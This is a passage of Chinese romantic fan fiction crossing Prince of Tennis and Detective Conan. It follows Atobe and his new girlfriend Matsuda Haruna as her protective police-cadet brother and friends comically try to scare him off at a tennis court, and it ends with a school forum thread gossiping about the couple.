不是我方不坚定,而是资本主义的糖衣炮弹太强烈。忍足侑士想道。 确定把人骗过来之后,挂了电话的迹部景吾也没闲着。 他快速洗了个战斗澡,仔细地打理着发型。 忍足侑士过来的时候,他还在往发梢上抹着发胶。 “咱俩打球,不需要这么正式吧?”忍足侑士看了看自己的遛狗套装,浑身上下找不出一件新品,反倒是能看出来好几根狗毛,“就在你家里打,你还穿成这样,搞得我压力很大。” 迹部景吾:“今天换个地方,去米花町网球场。” 忍足侑士:“?” 忍足侑士:“你没事吧?外面的场地能比得过你家里的设施吗?” “别的球场可能比不过,但米花町的就不一定了。”迹部景吾说道,“再说,她今天下午也会去那里打球” 忍足侑士恍然大悟:“早说啊你。想让我帮忙追人,你也不用这么绕圈子吧。放心,我恋爱军师的名称绝不是白来的,我家的狗子也绝不会白吃你买的狗粮的!” “她的哥哥下午也会去那练球。”迹部景吾补充道,“加起来大概有四位。” 忍足侑士:“” 老话说得没错,免费的果然才是最贵的。 “小景,我可不会打架!”忍足侑士欲哭无泪,只觉得自己一时失足千古恨,不应该心存侥幸,千里迢迢地自动上门当靶子。 他抱着狗,满脸都写着“想跑”二字:“冰帝都传遍了,松田的哥哥可都是警校生!” 迹部景吾:“你是不是怂了?” 忍足侑士:“我这叫识时务者为俊杰!” “你不会是打算当着人家哥哥的面去追人吧?”他惊恐道,“你是打算把我献祭过去吗?我现在不去了可以吗?” 迹部景吾完全没有解释的意思,关于脱单这件事,他打算等俩人到了球场,确认他溜不了了之后再说:) “正好你下午也没事。”迹部景吾挑着衣服,问他那套比较讨长辈喜欢,“你看了那么多言情小说,现在到了运用你理论知识的时候了。” 忍足侑士吐槽道:“你穿哪套衣服,都不会讨松田哥哥的喜欢的。还不如穿得让松田喜欢,说不定到时候她还能帮着你说说好话。” 迹部景吾受教,继续问道:“我之前让管家准备了不少礼物” “你可千万打住,你们俩就是谈个恋爱。太过隆重,会把人吓跑的。” 迹部景吾一脸不服气,嘟囔道:“只是现在是恋爱关系而已,以后早晚会变的。” “那就等到时候再说。现在,你就正常一点!”忍足侑士心累的很,只觉得他比自家的比格犬还要难管理。 迹部景吾让管家把忍足存放在这里的拍子找出来,最后照了眼镜子,确认自己今天还是一如既往的华丽,忍不住打了个响指。 “沉醉在本大爷的美貌之下吧。” “松田可能会,但她的哥哥们一定不会。” 等到了球场之后,忍足侑士看着和冰帝一模一样的自助发球机问道:“小景,你不会把这个网球场也买下来了吧?” “春奈她周末大部分时间都会来这里练球,买下来更方便一些。”迹部景吾低头系着鞋带说道。 忍足侑士敏锐地察觉到他对松田的称呼变得更加亲昵,友情提醒道:“私下里,你这么叫松田也就算了。等到时候他们来了,你可得注意这点。” “我当着春奈的面也这么叫她。”迹部景吾憋了许久的秘密终于可以当面炫耀出来。 他唇角一勾,笑得很是嘚瑟,像只开屏的孔雀。 忍足侑士身体前倾,表情呆愣,不可置信道:“哈?” 迹部景吾:“春奈昨天答应当我女朋友了。” 忍足侑士回过神来,转身收拾东西就要走。 “没想到啊没想到。小景,兄弟把你揣兜里,你把兄弟踹沟里。我以为你找我是来给你捧场拉好感的,没想到你是找我来给你当沙包的。” “你这是什么话!你以为随便一个人就能被春奈她哥哥当沙包打吗?目前只有我才有这个资格好吗!” “ 那你找我过来是干什么的?” “咳要是我到时候走不动路了,你帮个忙把我送回家就行。” “ ” * 松田春奈回家后,就一直在纠结什么时候告诉哥哥自己恋爱这件事比较好。 明明只是谈个恋爱,但却莫名有种犯下滔天大罪的不自在感。 因为他们家离米花町网球场最近,所以大家事先约好先在他们家门口集合,然后再一起走过去。 随着约定时间的到来,她也越来越坐不住,浑身像是长了刺一样。 第六感告诉她——坦白得越早越好。 要是这件事先从迹部的嘴里说出来,后果绝对比她说出来要严重得多。 下定决心后,松田春奈开始给哥哥端茶倒水,努力为坦白从宽铺路。 松田阵平看着她在自己身边来回献殷勤,不详的预感渐渐升起,问道:“你闯祸了?” 谈恋爱肯定不算闯祸吧。 松田春奈摇摇头,继续眨巴着眼睛,努力卖萌,希望能提前激起他的手足之情。 即使知道她恋爱的事情以后,也不要骂她骂得太狠。 “那是想要零花钱了?”松田阵平指了指自己的卧室,“我的钱一直都放在书柜里的饼干盒里,需要了就去拿。” 松田春奈觉得自己现在好残忍,明知道他想听什么,但她还是继续摇了摇头。 接连两次的否定,让松田阵平慢慢笑不出来。 明明是在坐着,他却突然觉得有点头晕目眩,需要扶着点东西才有力气继续听下去。 什么事都好,只要不是他想的那件事就行! “哥哥,我恋爱了。” 松田春奈的一句话,瞬间打破了妹控的自欺欺人。 “春奈,我刚刚可能耳鸣了,没听清。”松田阵平晃了晃头,努力保持冷静。 哈哈哈。 一定是他听错了。 春奈竟然说她恋爱了。 他暗自运气,手握成拳放在腿的两侧,问道:“你刚刚说什么?” 松田春奈抿抿嘴唇,像小时候得病不愿意吃药一样,可怜巴巴地望着他。 以前每次她只要做这样的表情,他就会立马投降。但现在松田阵平只觉得不可思议。 明明明明她还是个小孩子,怎么就谈恋爱了? 未成年怎么能谈恋爱? ! 到底是谁在恶意诱骗她啊啊啊! ! ! 我们国家的法律到底怎么一回事? 20岁以下禁止恋爱这项条文给我立刻写进去啊啊啊! ! ! 松田春奈小声说道:“哥哥,我谈恋爱了。和迹部景吾。” 他就知道是那个家伙! ! ! 松田阵平控制住自己不要吓到她,温声道:“这是什么时候的事?” “就在昨天。” “!” 松田阵平悔恨极了。 只觉得昨天自己射出的那颗子弹,此刻正中自己的眉心。 都怪他自己,明知道他的心思,昨天还选了他送春奈回家。 简直一个羊入虎口! 还不如选另一个小子呢! “你谈恋爱和他”松田阵平此刻完全说不了完整的句子,头脑一片混乱。每说一个单词,就得缓缓,“你想好了吗?要不要再考虑考虑?” 松田春奈:“我就是考虑好了才答应他的。” KO 像是有一记重拳打到了自己的脑门。 松田阵平那么话痨的人,一时竟找不到别的词来继续反驳,直到其他人过来才缓过神来。 他收拾好表情,一路无话地走在松田春奈旁边。其余几人以为兄妹吵架了,默契地走到前面,给他们留下私人空间。 松田阵平的脚步慢了下来,低声问道:“春奈,你和他在一起,开心吗?” 松田春奈小心翼翼地点了点头:“迹部他对我挺好的——” 松田阵平根本不想听她夸那家伙,打断道:“要是以后他让你不开心了,要记得第一时间告诉我,咱立刻和他分手。” 想了一路,他只觉得自己想开了不少。 不就是谈恋爱吗?又不是不能分 初恋就是用来分的! 这么劝着自己,松田阵平强制性把这个噩耗抛在脑后,打算呆会儿多跑几圈散散火气。 等他们一行人到球场的时候,发现短时间不见,整个球场的环境和设施都提高了不止一个档次。 “这里的发球机竟然是X牌最新出的那款机器。”降谷零开口道。 松田阵平看着正在场内挥汗如雨的迹部景吾,音色沉沉:“何止,他们还在门口招了安保人员。” 警校组察言观色的能力都是一流的,蛛丝马迹一串,就能猜出来不少事情。 不单是松田阵平一人表情不对,萩原研二看起来也是满脸杀气的样子,平时总是挂在脸上的笑意也不见了。 “班长刚刚下车,马上就能过来和咱们汇合。”诸伏景光合上手机,满脸写着“核善”二字。 忍足侑士看着场外那群人的表情,眼角直抽抽。借着换场地的机会,在迹部的耳边快速说道:“你家有防弹衣吗?赶紧让人送过来先穿上吧!” 松田春奈虽然没亲眼见过那位“班长”,但也从哥哥他们的谈话中听说过那位的战斗水平。她观察着哥哥的表情,有些不安:“要不,今天就不练了。你们呆会儿还得返校。” “为什么不练?”松田阵平活动着筋骨,“今天早点练完,我们早点回学校就行。” 松田春奈感觉他口中的“练”好像不单单只得是练网球 迹部景吾初生牛犊不怕虎,看到他们到了之后,直接走了过来。 忍足侑士不放心,也跟了过来。 “春奈,你来了。” 听见迹部的称呼,忍足侑士忍不住闭了下眼睛,完全不敢抬头去看那几位的眼神。 看来自己刚刚给他做得的临时培训,完全没起到任何作用。 松田阵平怒极反笑,杀气外溢,一字一句道。 “迹部君,咱们俩找个地方单独练练。” 作者有话说: 感谢在2024-03-02 23:59:05~2024-03-04 00:47:43期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:雾绕空山、努力学习5瓶;52721541 2瓶; 非常感谢大家对我的支持,我会继续努力的! 第30章 松田春奈一听这话,脑内的一级警报立即拉响,使劲把“对练”的意思往正道上拐:“哥,你右手的伤还没有好利索,今天就先别练球了。” “用左手打也一样。”松田阵平一点也不接茬,“没法练球,那就先练点别的。” “哈哈哈那还是打球比较健康一点。其实用左手打球对锻炼大脑有很多好处的。”松田春奈觉得自己已经开始汗流浃背了。 她的大脑此刻像台嗡嗡作响的老旧机器。虽然在努力运转,但是却没什么用处,连一个像样的把他们合理分开的理由也没想出来。 她既担心哥哥因为自己的劝阻而更加生气,又担心迹部会头脑发热,答应去和他们“单独练练”。 她可不想男朋友在谈恋爱的第二天就进医院。 “小阵平,春奈妹妹说得对。”萩原研二张口道。 感觉自己终于不是在孤军奋战,松田春奈冲着他露出感激的笑容。 然而没曾想他接下来的话,却让她的笑容立刻僵在了脸上。 “你去休息,我替你和这位迹部君对练就好。” 降谷零默默开口:“我排在萩原后面。” “那我排在零后面好了。”诸伏景光微笑道:“不知道迹部君的体力怎么样,能不能撑到我这里。” 松田春奈彻底无奈了。 这是在干嘛啊! ! ! 排队打架是吗? ? ? 不管你们警校组赢还是输,都很丢脸啊喂!可不可以成熟一点啊! ! ! “哟!这里好热闹啊,我没来迟吧?”一声雄厚嘹亮的声音从远处传来。 只见一个叼着牙签,身形魁梧,浓眉大眼的青年朝他们走来。 “你就是松田的妹妹吧。”伊达航朝松田春奈挥挥手:“我是伊达航。你的头发和你哥一模一样。” 忍足侑士看着新加入的这位,用几不可闻的声音,对迹部景吾说道:“需要把桦地叫过来镇场子吗?你的保镖带足了吗?确定都在附近吗?” 诸伏景光把他拉过去,三言两语地说完目前情形之后。伊达航爽朗一笑:“那我就排在最后一位好了。迹部君,呆会儿还请多多指教了。” 迹部景吾眼看着就要张口答应,松田春奈感觉自己的耐心已然告罄,忍无可忍那就无须再忍。 她柳眉倒竖,质问道:“哥哥,你网球打得很好吗?才学了几天你就要和别人对练啊?” 去他大爷的理智! 松田阵平看着自己妹妹竟然先和外人站在一边,感觉委屈极了。 他瞪大眼睛,眉毛皱起:“你凶我?” 他用手指着迹部景吾,语气十分的不可思议,仔细听的话,可能还带点颤音:“你为了他,竟然凶我?” 松田春奈解释道:“我不是在凶你,我是——” 松田阵平强词夺理道:“你就是!” 当着这么多外人的面,松田春奈为了顾及哥哥的面子,本来是打算好好和他谈谈的。但看着他已然陷入了情绪的漩涡中,完全听不进去别人的话,只沉浸在自己的想法里,那也就别怪她出狠招了。 她深吸一口气,冲着迹部景吾和忍足侑士挤出一个杀气腾腾的笑:“我需要和哥哥他们单独谈谈,麻烦——” 忍足侑士立刻说道:“我和迹部过去喝点水,你们慢聊。” 然后拉着迹部就往反方向走。 “我的水不在那儿。”迹部景吾嫌弃道:“你走得也太快了。” 忍足侑士:“少爷,当我求你,再走快点成吗?你的水在不在那里无所谓,待会儿我把我的水给你喝!” 松田春奈确定迹部他们已经离得够远,处于无法听见他们对话的距离时,这才卸下脸上的笑容,冲着松田阵平一阵输出。 “哥哥,你一个警校生,见了迹部第一句话就是威胁人是什么意思?!” “谁威胁他了?” “嗯?你再说?” “哼” “我拜托你,成熟一点好不好。警校生在校外聚众斗殴可是要被开除的,这个还需要我来提醒你吗?” “ 我就是吓唬一下他。” “那万一以后有人把你的吓唬当真了,然后去投诉你怎么办?!” 松田阵平闻言咧着嘴,刚刚被妹妹抛弃的感觉一扫而空:“春奈,你刚刚说的那些话,其实都是站在我这边的,对吧?” 松田春奈气呼呼地看着他,腮帮子一鼓一鼓的:“合着我在这里说了半天,你就听懂这个了?” 松田阵平嬉皮笑脸:“都听懂了都听懂了。你放心,这样的事,我保证没有下次!” 说完松田阵平了,松田春奈继续看向其余几位警校生,颇有些恨铁不成钢的意思:“研二哥,你刚刚不帮忙降火也就算了,怎么还往火上浇油,往上添柴火啊!我哥他嘴比脑子快就算了,你怎么也被他带坏了?” 萩原研二眨眨眼睛,陪笑道:“春奈妹妹,我错了。我也保证,以后绝不再犯。” 说完他在自己的俊脸旁边做出发誓的手势,让人根本狠不下心继续说他。 看研二哥的态度比较不错,松田春奈目光接着扫到降谷零和诸伏景光身上,痛心疾首道:“降谷哥!诸伏哥!你们以前明明没有黑.帮打手气质的,现在怎么都变成这样了!没让我哥跟着你们近朱者赤也就罢了,你们怎么还跟着他近墨者黑了?” 降谷零和诸伏景光诺诺称是,保证一定改正。 松田阵平听到这里不乐意了:“春奈,你怎么总说我不好啊?” 松田春奈一个眼神扫过去,效果立竿见影。 松田阵平见好就收,继续低头反思。 伊达航觉得氛围有些不妙,有种忘记背课文,但下一秒就要被老师点名的恐惧感。 “伊达哥。” “到!我身为班长,这次不但没有对他们进行劝阻,反而和他们一起对高中生进行恐吓,实在是愧对老师的教诲和前辈们的指导!” 松田春奈今天毕竟是第一次见他,本来也没想说什么。但没想到伊达航嘴巴溜地就跟说贯口似的,口头检讨做得流利极了,反而让她不知道说什么好了。 松田春奈:“嗯这个有反思才能有进步。伊达哥不愧是班长,就是有觉悟。” 一顿精神教育之后,松田春奈确定他们不会再冲着迹部他们随意尥蹶子,甩脸色了。 她的小脸也不再那么紧绷,放缓表情说道:“那这样的话,我就去把迹部他们叫过来。咱们接下来就认真练球,和平共处,能做到吗?” 警校五人组眼神相对,都没有了脾气,点了点头。 松田春奈满意地给了他们一个笑脸,然后过去叫迹部他们了。 松田春奈刚离开,警校组的单身汉们就四脸震惊地看向伊达航:“班长,没想到你竟然这么会说话?” “我和你们可不一样。”伊达航抬起头,得意极了,“我可是有女朋友的人,善于检讨是我的强项。” 众人:“ ” 松田阵平看不过去,一撇嘴:“这么看来,有女朋友也没什么了不起的。我不用找女朋友,春奈照样能让我给她作检讨!” 萩原研二叹气道:“妹妹长大之后,脾气也越来越大了。” 看来,有妹妹也并非全是好处。降谷零和诸伏景光暗暗想道。 迹部景吾在远处一直在时不时地瞟一眼他们的对话进程,眼看着那些青年的头越来越低,他赶紧收回视线,担心自己别被牵连进去。 松田春奈过来对迹部说道:“放心,他们和我说好了,以后绝不会再说那种话吓唬你了。” 迹部景吾本以为今天逃不过一场恶战,没想到这么轻而易举地就被化解了,心里甜滋滋的:“我没事的。等你哥哥伤好以后,他要是想对练的话,我随时奉陪。” “那择日不如撞日,就今天好了。”松田阵平开口道。 松田春奈以为他老毛病又要犯了,刚想给他一眼刀,就听到他继续说道:“我们几个刚刚商量了一下,为了将功赎罪,加深彼此的了解,今天想拜托迹部君教我们几个打球。” “春奈,你今天去和降谷学。” 将功赎罪是这么赎罪法吗?松田春奈有些懵圈。 除了降谷零以外,你们四个人都要迹部一个人教,真的好吗? 迹部景吾虽然很想和女朋友多呆一会儿,但毕竟他们几位勉强也算是长辈。再说也都是身体素质顶尖的人,说不定教完他们,自己很快就能去找春奈了。 这么想着,迹部景吾爽快地说了声好,然后对松田春奈说道:“放心,运动神经发达的人,上手很快的。” 忍足侑士看着迹部这个傻白甜,就这么一步一步地踩进了敌人的陷阱之中,心里默默给他点了个蜡。 一看少爷就是没怎么看过家长里短的婆媳电视剧,还是太年轻了 估计他现在还想着早点教完他们,然后早点去和松田约会吧。呵呵 果不其然,整整一下午,迹部景吾再没有来得及和松田春奈说上一句话。 但凡他有想凑过去的念头,都会立刻被几人察觉,然后回以真挚的微笑:“迹部君,是不是累了。累了咱们就休息一会再打。” 被几人左右夹击围绕着,他还能跑到哪里去? 等到迹部景吾察觉自己上了贼船之后,已是为时晚矣。 忍足侑士眼含同情,但坚决不下场,顶多在场边当当他的后援团。 他本来就是个体力废,根本没必要去自讨苦吃。下场是另外的价钱。 降谷零虽然教得很用心,但松田春奈总是放心不下,老担心他们几个会对迹部故伎重演,所以总是频频朝他们的方向望去。 直到看着对面一片祥和,大家都是面带微笑的样子,才放下心来。 迹部景吾就像是有心灵感应一样,每次松田春奈看过去的时候,都能在第一时间捕捉到她的眼神。 能感受到女朋友对自己的关心,迹部景吾别提多美了,只觉得浑身充满了使不完的牛劲。 生生靠着几次眼神的交会,让他撑到了晚上五点半。 ——因为在下午六点之前,几位警校生必须赶回警校集合。 松田阵平他们磨蹭到了最后,直到再呆下去就要迟到被罚了才离开。松田春奈把他们送到门口,和他们挥手告别。 忍足侑士迅速收拾好自己的东西,离开之前不忘提醒迹部道:“你们继续约会,我先撤了。以后别忘了给我们家比格打钱。” 迹部景吾庆幸自己终于撑到了结束,也没有丢丑,开口撵他:“你再走慢一点,我就不给了。” 忍足侑士戏精上身:“有异性没人性的家伙,我们家比格只有我了。” * 警校五人组踩点进校之后,伊达航好奇问道:“你们很喜欢打网球吗?” 松田阵平:“还行吧,今天主要为了让那小子别缠着春奈而已。为什么这么问?” 伊达航挠挠后脑勺:“如果想让他们分开的话,咱们提前把春奈送回家不就行了吗?” 松田阵平:“!!!” 松田阵平当场崩溃:“班长你怎么不早说!” 他错了,他真的错了。 他从一开始就不应该让迹部那小子送春奈回家 作者有话说: 感谢在2024-03-04 00:47:43~2024-03-05 00:32:00期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:禾潇夙2瓶;阿市、 58211301 、枕书入眠、又要减肥的业子1瓶; 非常感谢大家对我的支持,我会继续努力的!《 》 30-40 第31章 松田春奈送完警校组转身回去的时候,发现球场里就只剩下了忍足侑士一人。 “欸?怎么就你一个人?迹部呢?”她问道。 忍足侑士的表情一言难尽。 本来他收拾好东西都要走了,大少爷的洁癖和完美主义性格又犯了,非得趁着她出去送人的这一小段时间去冲个澡。 忍足侑士不解道:“那你等我走了之后,和松田说声再去不就行了。” “我现在浑身是汗,万一她不喜欢我大汗淋漓的样子怎么办?”迹部景吾快速说道,“万一你走之后,她自己一个人在外面等我的时候遇到危险怎么办?万一她——” 忍足侑士:“少爷,别万一了。你快去洗漱吧,我心服口服。” “别忘了跟春奈说一声,我很快就出来!”为了赶时间,迹部景吾甚至跑出了一道残影。 幸亏自己有先见之明,提前把这家网球场收购下来并进行了升级改造。不然,他真的无法接受自己邋里邋遢地和女朋友进行接下来的约会。 回过神来,忍足侑士说道:“迹部他去洗漱了,很快就过来。” 两人干坐着等第三人也挺尴尬的,忍足使出自己的破冰诀窍——修狗社交。 果然很管用。 松田春奈对他手机里的训狗视频很感兴趣,直夸他训狗有方。 忍足侑士被赞扬得很是舒爽。 终于理解为什么有些家长喜欢到处炫耀自己孩子聪明能干,不就是为了享受别人羡慕嫉妒的感觉吗。 虽然他们家比格爱拆家,但它聪明,而且能听懂指令啊! 拆家咋了? 那代表它活泼健康,代表身为主人的他养得好! 两人一个负责夸,一个负责自谦,合作得很是愉快。 直到迹部带着一身未干的水汽出现在他们面前。 由于不想让女朋友多等,他直接略过发胶等琐碎步骤。头发也来不及吹干,匆匆用毛巾擦了几下就算完事。 整个人清清爽爽的,反而比下午见面的时候更帅了。 松田春奈忍不住多看了好几眼。 迹部面上不显,内心却暗暗记下她喜欢的造型风格,打算下次约会继续复刻。 看着忍足还没有走人的迹象,迹部冲他一使眼色,暗示他可以撤了。 忍足侑士被松田春奈夸得正上头,还沉浸在“家长”的角色中无法自拔。他冲迹部嘿嘿一笑,继续划到下一个视频卖弄道:“松田你看,它还会唱歌。” 帅气的男朋友什么时候都能看,聪明的小狗却不常见。松田春奈继续凑过去夸道:“真聪明,它还能听懂节奏。” “确实聪明。”迹部景吾也上前赞叹道,“这么聪明的小狗,养起来一定也很费钱吧?” 忍足侑士:“!” 被抓住经济命脉的忍足立刻噤声,走得头也不回:“我突然想起来还有件事没做。你们继续玩,我回去遛狗了。” 松田春奈发现今天的忍足和之前的画风大不相同,嘴巴也不贫了。不像是要回家遛狗的,反倒是像被狗撵着走的。 “你和忍足之间是不是有什么不可见人的秘密?不然他今天怎么这么听你的话?”她眼睛一眯,敏锐问道,“难道他欠你钱了?” 迹部景吾:“”猜得正好相反。 迹部景吾回答得一本正经:“大概是电灯泡没电了,他回家充电去了。” 已经到了晚饭时间,球场的人走得都差不多了,他顺势坐到了松田春奈的旁边。 由于打球的时间过长,他的右臂已经开始不自觉地轻微颤抖。为了不让她发现,迹部特意双手抱胸,一边和她聊天,一边暗暗给自己按摩酸麻处。 没一会儿功夫,松田春奈看着他突然不说话了。 迹部景吾高度紧张,立刻对自己刚刚的回复进行复盘,生怕是自己哪里说错话让她不开心了。 “打了这么久,你不累吗?胳膊酸不酸?” 嘿嘿嘿,她担心我,她心里有我。 迹部景吾松了口气,为了维护自己的形象,摇摇头否认道:“不累,不酸。还能再教你一会儿。” 松田春奈看着他口是心非,强装无事的样子,用力地戳了一下他的右臂。 “嘶——”迹部景吾倒吸一口凉气。 松田春奈似笑非笑地说道:“刚刚不是还说不酸吗?” 迹部景吾打着哈哈:“我的意思是,不碰它的话不酸” 松田春奈尾音拉长:“这样啊我还想说,要是你累了的话,我就帮你按摩一下胳膊——” “我累!”迹部景吾立刻改口,表情坚定得像是在宣誓。 “真的?” “真的。”他的声音轻飘飘的,瞬间被晚风吹散在空中:“我真的好累。” 松田春奈先让他的手臂自然下垂,然后抱到自己身侧,低头认真按着。 迹部景吾在脑海里给自己设定了一个闹钟,允许自己此刻什么也不想,大脑放空一分钟。 他静静地看着她,从她头顶小巧的发旋,再到卷翘的睫毛和饱满的唇珠。 今天果然没有白受罪,此时的画面又能让他在疲惫时续航好久。 迹部景吾在日常生活中看着虽然不算壮,但他实际属于穿衣显瘦,脱衣有肉的类型。 充满爆发力的手臂肌肉紧实,松田春奈只觉得自己像是按在了一块硬邦邦的石头上。 “你的肌肉太硬了。”她皱眉,拍拍他的胳膊说道,“你放松点,不然按摩的效果不好。” 迹部景吾像是又回到了昨天背她回家的时候,大多数的感觉像是被屏蔽了,感受最清晰的是来自她指腹的轻柔按压。 “我已经放得很轻松了。”他的喉结滑动了一下。 松田春奈的犟劲上来了,不信自己揉不开他的酸痛处,索性两只手一起上。 迹部景吾只觉得自己痛并快乐着,但又不忍心让她累到,一分钟之内就叫了停:“好了好了,接下来该换我来给你按了。” 松田春奈也没拒绝,直接把两只手都伸了过去。 女孩子的手臂如同细腻的丝绸,在路灯下泛着动人的光泽。他努力让自己刨除杂念,专心按摩。 因为常年打球的缘故,他的指腹带着一层薄薄的茧,虽然不算粗糙,但按在皮肤上时却有种细微的痒。 松田春奈下意识想往回收手,却被迹部误以为怕疼而不想继续。 他的手掌轻微发力,稳稳地握着她,没使多大劲就让她动弹不得。 松田春奈感觉自己像是被桎梏住的鸟儿,无法逃脱。 她轻轻踢他,娇憨道:“我动不了了,你轻点。” 闻言,迹部景吾卸了点力气,但还是没放手。 他低头严肃道:“你今天运动量太大了,如果不揉开的话,会酸痛好几天。再忍忍,很快就好了。” 等到他把两只胳膊都按完之后,松田春奈的手臂上也出现了明显的红痕。 她把双臂举高,特意伸到迹部的眼前,让他看清楚:“看你做的好事!” “我已经按得很轻了。”迹部景吾对此显然十分没经验,手忙脚乱道:“怎么会这么红,我现在就带你去医院。” “哈哈哈哈别紧张,我就是这种体质。但凡不小心磕碰到就会有淤青,但过几天自己就好了。”松田春奈看他真的被自己吓到了,解释道。 太阳渐渐落下,橘红色的晚霞像是金光闪闪的丝带,在天际挂着。 “砰”“啪”的击球声在球场上回荡。 除了他们,这里还剩下一对男女在对打。 男生看起来打得一点也没放水,女生一直在满场捡球,整个人处在马上就要爆发的边缘。松田春奈甚至能看出来她正在倒计时的样子,只差最后一根稻草。 “这样也能找到女朋友吗?” “谁说不是呢。” 两个人坐在一起,小声八卦着周围的事物。细细簌簌的声音像风拂过树叶,打个转儿又飘向别处。 松田春奈“啧啧”两声,提前预警道:“迹部,你以后要是和我对打的话——” 迹部景吾早就觉得她对自己的这个称呼该换了,直接了当道:“为什么春奈现在还是叫我迹部呢?我们现在是男女朋友了,不是吗?” “欸——”松田春奈压根没意识到这个问题,只是习惯性地像之前那么称呼他。 “还是因为春奈是不想和我在学校公开,所以才继续这么叫我的吗?” “才不是!我只是觉得——” “啊嗯?觉得什么?” “还没准备好” “那春奈要什么时候才能准备好呢?明天可以吗?” “好好好!!!明天就明天,你先我离远一点啦!” “那就这么说定了,”迹部景吾一脸诡计得逞的样子,看着她说道,“明天春奈可要换一个更亲昵一点的称呼才可以。” 意识到自己被套路了,松田春奈咬牙切齿道:“我和忍足一样,明天开始叫你小景总行了吧。” “我倒是无所谓,如果你不介意我当着大家的面叫你小春奈的话。” “啊啊啊肉麻死了,快点住口啊喂!” “那春奈明天打算叫我什么?” “景吾” “good girl。” 作者有话说: 今天终于在凌晨之前更了,有进步,好耶!感谢在2024-03-05 00:32:00~2024-03-05 23:52:25期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:某北六岁6瓶; ting 、晨宝坨5瓶;眠北、笶迩1瓶; 非常感谢大家对我的支持,我会继续努力的! 第32章 【喜报! ! !我磕的cp成真了! ! ! 】 楼主:家人们! ! ! !我真的好开心啊! ! !我的cp竟然在今天成真了谁懂? ? ? ! ! !嘿嘿嘿嘿嘿嘿真甜啊真甜啊真甜啊。我可以不谈恋爱,但我的cp必须HE! 信女愿意荤素搭配,让我的cp相伴到老。 1L:看来和楼主是一个班的,班里现在安静的可怕,大家的手指都快在手机屏幕上划出火星子来了hhh估计都是在和其他班的人分享这个八卦hhh别的不说,现场吃瓜的感觉是真的爽! 2L:同班+1~我就知道一定会有人在论坛开帖。果不其然,一进来就被我蹲到了。 3L :啥啊啥啊啥啊? ?什么瓜什么瓜,求求好心人告诉我叭,我特别会保密! ! !耳朵竖起.jpg 4L :独乐乐不如众乐乐,来人,给我把瓜呈上来。 楼主:楼里的大家不用着急。其实不用楼主本人传瓜,很快咱学校从上到下应该就都知道了。要是男方再高调一点的话,说不定还能传遍东京区的学校hhh 6L :啊啊啊啊啊啊啊啊啊啊楼主不要这样卖关子! ! !我现在着急得像一个在瓜田里乱窜的猹! ! ! 7L :最讨厌楼主这样的人了! ! !勾起了我的好奇之心,然后又不说了,我恨! 8L:我去,楼主这话意味深长。当事人不会是有后援团的那种吧。 9L :到底是谁和谁在一起了? ? ?求求楼主告诉我吧!我在桌子上哭了5个小时,崩溃了1376次,撞了873次墙,划了5次手臂,幻觉出现9次,幻听出现2次,扇了自己78个巴掌,出现濒死感3次,刚才昏过去了现在才醒来,看到外面天都亮了我顿时又崩溃了。因为我到现在都还不知道到底是什么瓜! ! ! 楼主:不是我不想解码,主要是吧,这两位的爱慕者都很多我怕我说了之后会有人在我帖子里发疯。挨个删那些不友好言论是很麻烦的好吗! ! ! 10L :这瓜越吃越有意思了还。其实一开始也没那么想知道,但楼主这么一说,直接整得我好奇心飙升。楼主是个做宣传的好苗子(褒义) 11L:谁艾特一下福尔摩斯过来解码,我今天一定要知道到底楼主磕的是哪对cp!第一个猜出来的人送一款C家的经典款包包。 12L:富婆姐姐我来啦!男主我押篮球部的那个花花公子。掐指一算到了一个月了,丫也该换女朋友了。 13L:楼上一眼错,楼主是磕cp,又不是看乐子。我猜是游泳部的那位绿发帅哥和他们的美女经理,早就发现他们之间有苗头了嘿嘿。 14L:大家都让让,冰帝江户川在此!已知:男女主人公人气都很高,并且根据楼主描述,两人还在同一个班,再加上楼主的最后一句话分析到这里其实已经很明显了。我猜是校花和会长。 (包包的话,我喜欢C家那款羊皮的,提前谢谢11楼了^^) 15L:! 16L:! ! 17L:! ! ! 18L:不是,楼上几位你们干嘛呢,玩消消乐呢? 19L :真的假的?我不信! ! !造谣是要负法律责任的! !等着被告吧,你们完蛋了! ! 20L:楼上,知道你急,但你先别急。告诉你一个不幸的消息,他俩真谈了。因为我就在现场亲眼目睹 21L :是真的我也是刚从一班的朋友那里知道的,有图有真相的那种。长得好看就是好哦,随手一拍都那么般配,高糊手抖的镜头下都有种岁月静好的美。 楼主:啊,美美看完小情侣撒狗粮,嗝儿~~ 22L:楼主,咱俩同但! ! !咱冰帝的门面cp是真的在一起了嘛? ? ?如果是真的话,那我现在就要转班! ! !我要坐到他俩后面第一时间观看他俩谈恋爱! ! ! 23L:特意进来吃口瓜,结果就这?我以为他俩早就谈了,只是一直没公开而已 24L:楼上看来不了解咱会长,他的性子绝不是能低调憋住搞地下恋的那款。已经可以预料到未来会长秀恩爱的场景了。 25L :会长恋爱四件套——玫瑰园的花,自己养的马;国外的私人岛屿去度假,还有无限额的黑卡随便刷。 skr~ 26L :听着就爽,好想化身为会长的那个玩偶挂件啊毕竟是校花亲手做得,他俩以后不管去哪里旅游,会长应该都会带着吧。感觉那个玩偶以后去过的地方和享过的福说不定比我还多。 27L :不用以后,人玩偶现在就比你过得舒服是真的。据小道消息,每天都有专人伺候它,它在会长家还有单独的房间,里面的室温和空气湿度什么的都是最适和它那种材质的。 28L:救虽然知道会长富,但每次依旧还是会被震撼到 29L:他俩以后要是结婚了的话,能不能无缘无故地收养我啊? 30L:做梦环节又开始了是吗?梦就梦个大的,我要当他俩的头胎!不接受调剂。 31L :你们没事吧?会长就是富家子弟随便谈谈而已!以后肯定不会和她结的!他们这种阶级都是联姻!女方这种平民怎么可能被允许进家门? ! 32L:? ? ?楼上你没事吧?又懂了?封建主义的余孽又出来显摆它的智商了。 33L:差不多得了31L,要真搁在江户时代,武士才是阶层最高的,商人是最底层。按你的话来讲,就是会长进不去校花家的门哦~ 34L:就31L那样的,就算治好了也流口水。 35L:马克思听了31L的话都得求求它还是搞点资本主义吧,封建主义真的太LOW了。 36L:看给它酸的,退一万步,就算会长不和校花结,也肯定不会和它结略略略。再说了,以后他俩谁甩谁还不一定呢好伐! 37L:31L别激动。从会长家祖上的历任配偶来看,他们家一直都是自由恋爱,完全没有那些联姻的规矩。远的不提,会长爸妈就是在国外一见钟情之后结婚生子的~ 38L :我实名制希望他俩就是随便谈谈,然后到时候校花能选我结婚嘿嘿。 